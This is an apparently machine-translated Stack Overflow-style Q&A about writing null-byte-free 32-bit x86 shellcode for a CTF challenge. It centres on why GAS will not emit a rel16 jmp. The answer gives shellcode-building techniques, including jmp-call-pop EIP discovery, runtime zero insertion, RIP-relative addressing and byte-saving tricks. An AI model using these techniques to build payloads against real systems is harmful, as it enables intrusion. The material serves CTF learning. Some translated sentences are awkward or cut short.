GAS 汇编器不使用 2 字节相对 JMP 位移编码（仅 1 字节或 4 字节）

Question

我正在尝试为不允许 0x00 字节的 CTF 挑战编写 shellcode（它将被解释为终止符）。由于挑战的限制，我必须做这样的事情：

[shellcode bulk]
[(0x514 - sizeof(shellcode bulk)) filler bytes]
[fixed constant data to overwrite global symbols]
[shellcode data]

它看起来像这样

.intel_syntax noprefix
.code32

shellcode:
    jmp sc_data

shellcode_main:
    #open
    xor eax, eax
    pop ebx         //file string
    xor ecx, ecx    //flags
    xor edx, edx    //mode
    mov al, 5       //sys_OPEN
    int 0x80

    ...  // more shellcode

.org 514, 0x41     // filler bytes
.long 0xffffffff   // bss constant overwrite

sc_data:
    call shellcode_main
    .asciz "/path/to/fs/file"

如果sc_data在shellcode. 在这种情况下，汇编器 (GAS) 将输出格式的短跳转：

Opcode  Mnemonic
EB cb   JMP rel8

但是，由于我有一个硬性限制，即批量 shellcode 和填充字节需要 0x514 字节，因此此相对偏移量至少需要 2 个字节。这也可以工作，因为jmp指令有一个 2 字节的相对编码：

Opcode  Mnemonic
E9 cw   JMP rel16

不幸的是，GAS 不输出这种编码。相反，它使用 4 字节偏移编码：

Opcode  Mnemonic
E9 cd   JMP rel32

这导致两个 MSB 字节为零。类似于：

e9 01 02 00 00

我的问题是：可以强制 GAS 输出jmp指令的 2 字节变体吗？我玩弄了多个较小的 1 字节jmps，但 GAS 一直输出 4 字节的变体。我也尝试调用 GCC-Os来优化大小，但它坚持使用 4 字节相对偏移编码。

此处定义的 Intel 跳转操作码供参考。

Answer 1

jmp rel16只能使用 16 的操作数大小进行编码，这会将 EIP 截断为 16 位。（66在 32 位和 64 位模式下，编码需要一个操作数大小前缀）。正如指令集说明你联系，或者在这种更先进的最新PDF - > HTML英特尔的手动转换，jmp并EIP ? tempEIP AND 0000FFFFH;在操作数大小为16。这就是为什么汇编从来没有使用它，除非你手动申请¹，以及为什么不能jmp rel16在 32 位或 64 位代码中使用，除非在非常不寻常的情况下，目标被映射到虚拟地址空间的低 64kiB 中²。

回避 jmp rel32

您只是向前跳跃，所以您可以call rel32用来推送数据的地址，并且因为您希望您的数据一直位于长填充有效负载的末尾。

您可以使用push imm32/imm8/reg和在堆栈上构造一个字符串mov ebx, esp。（您已经有一个归零的寄存器，您可以推动终止零字节）。

如果您不想在堆栈上构造数据，而是使用作为有效负载一部分的数据，请使用与位置无关的代码/相对寻址。 也许您在寄存器中有一个值，它是 EIP 的已知偏移量，例如，如果您的漏洞利用代码是通过jmp espret-2-reg 攻击 或其他 ret-2-reg 攻击到达的。在这种情况下，你可能能够只需
mov ecx, 0x12345678/ shr ecx, 16/ lea ebx, [esp+ecx]。

或者，如果您不得不使用 NOP 雪橇并且您不知道 EIP 相对于任何寄存器值的确切值，您可以call使用负位移指令获取 EIP 的当前值。 向前跳过call目标，然后call返回。 您可以在此之后立即放置数据call。（但是避免数据中的零字节很不方便；一旦获得指向它的指针，您就可以存储一些。）

 # Position-independent 32-bit code to find EIP
 # and get label addresses into registers
 # and insert zeros into data that we jumped over.

               jmp  .Lcall

.Lget_eip:
               pop   ebx
               jmp   .Lafter_call       # jmp rel8
.Lcall:        call  .Lget_eip          # backward rel32 = 0xffffff??
          # execution never returns here
   .Lmsg:   .ascii "/path/to/fs/file/"    # last byte to be overwritten
   msglen = . - .Lmsg
   .Loffset_data2: .long .Ldata2 - .Lmsg   # relative offset to other data, or make this a 16-bit int to avoid zeros
               # max data size 127 - 5 bytes

.Lafter_call:
               # EBX = OFFSET .Lmsg just from the call + pop
               # Insert a zero at runtime because the data wasn't at the end of the payload
               mov  byte ptr [ebx+ msglen - 1], al   # with al=0


               # ESI = OFFSET .Ldata2 using an offset loaded from memory
               mov  esi, ebx
               add  esi, [ebx + .Loffset_data2 - .Lmsg]   # [ebx + disp8]

               # with an immediate displacement, avoiding zero bytes
               mov  ecx, ((.Ldata3 - .Lmsg) << 17) | 0xffff
               shr  ecx, 17                # choose shift count to avoid high zeros
               lea  edi, [ebx + ecx]       # edi = OFFSET .Ldata3

               # if disp8 doesn't work but 8 * disp8 does: small code size
               push  (.Ldata3 - .Lmsg)>>8   # push imm8
               pop   ecx
               lea   edi, [ebx + ecx*8 + (.Ldata3 - .Lmsg)&7]  # disp8 of the low 3 bits

           ...

  # at the end of your payload
  .Ldata2:
    whatever you want, arbitrary size

  .Ldata3:

在 64 位代码中，它更容易：

 # In 64-bit code

     jmp  .Lafter_data
 .Lmsg1:   .ascii "/foo/bar/"    # last bytes to be replaced
 .Lmsg2:   .ascii "/bin/sh/"
 .Lafter_data:
     lea  rdi, [RIP + .Lmsg1]            # negative rel32 
     lea  rsi, [rdi + .Lmsg2 - .Lmsg1]   # disp8
     xor  eax,eax
     mov  byte ptr [rsi - 1], al         # insert zeros
     mov  byte ptr [rsi + len], al

或者使用相对于 RIP 的 LEA 来获取标签地址，并使用一些避零方法向其添加一个立即数，以获取有效负载末尾的标签地址。

  .Lbase:
      lea  rdi, [RIP + .Lbase]
      xor  ecx,ecx
      mov  cx, .Lpath - .Lbase
      add  rdi, rcx          # RDI = .Lpath address
      ...
      syscall

       ...   # more than 128 bytes
   .Lpath:
       .asciz "/foo/bar"

如果您真的需要跳得很远，而不仅仅是对远处的“静态”数据进行与位置无关的寻址。

一连串的短前跳会起作用。

或者使用上述任何一种方法在寄存器中查找后面标签的地址，并使用jmp eax.

保存代码字节：

在您的情况下，节省代码大小并不能帮助您避免跳远位移，但对于其他一些人来说，它可能会：

您可以使用这些在 x86/x64 机器代码中打高尔夫球的技巧来节省代码字节：

• xor eax,eax/cdq比xor edx,edx.节省 1 个字节
• xor ecx, ecx/mul ecx将 4 个字节中的三个寄存器清零（ECX 和 EDX:EAX）
• 实际上，该int 0x80设置的最佳选择可能是
  xor ecx,ecx(2B) / lea eax, [ecx+5](3B) / cdq(1B)，并且根本不要使用mov al,5。你可以把任意的小常量寄存器在只有3个字节push imm8/pop或一个lea，如果你有一个已知值另一个寄存器。

脚注 1：要求您的汇编程序jmp rel16在 16 位模式之外进行编码：

NASM（在 16、32 或 64 位模式下）

addr:
; times 256 db 0      ; padding to make it jump farther.
o16 jmp near addr     ; force 16-bit operand-size and near (not short) displacement

AT&T 语法：

objdump -d将其解码为jmpw： 对于组装成 32 位静态 ELF 二进制文件的上述 NASM 源，objdump -drwC foo显示了 EIP 的截断：

0000000000400080 <addr>:
  400080:       66 e9 fc ff             jmpw   80 <addr-0x400000>

但是 GAS 似乎认为助记符仅用于间接跳转（这意味着 16 位负载）。( foo.S:5: Warning: indirect jmp without '*'), 而这个 GAS 来源：.org 1024; addr: .zero 128; jmpw addr给你

480:   66 ff 25 00 04 00 00    jmpw   *0x400   483: R_386_32   .text

看看x86 中的 jmpl 指令是什么？- 这种 GAS 如何处理 AT&T 语法的疯狂不一致甚至适用于jmpl. jmp 0x400在 16 位模式下组装时，普通会相对跳转到该绝对偏移量。

在极不可能的情况下，您需要jmp rel16在其他模式下使用 a ，您必须自己用.byte和组装它.short。我认为甚至没有办法让汇编程序为您发出它。

脚注 2：您不能jmp rel16在 32/64 位代码中使用，除非您正在攻击映射到低 64kiB 虚拟地址空间中的某些代码，例如可能在 DOSEMU 或 WINE 下运行的某些代码。Linux 的默认设置/proc/sys/vm/mmap_min_addr是 65536，而不是 0，因此通常情况下mmap，即使您愿意，该内存也没有任何内容，或者可能通过 ELF 程序加载器在该地址加载其文本段。（因此 NULL 指针使用偏移段错误取消引用，而不是静默访问内存）。

您可以确定您的 CTF 目标不会碰巧使用 EIP = IP 运行，并且将 EIP 截断为 IP 只会导致段错误。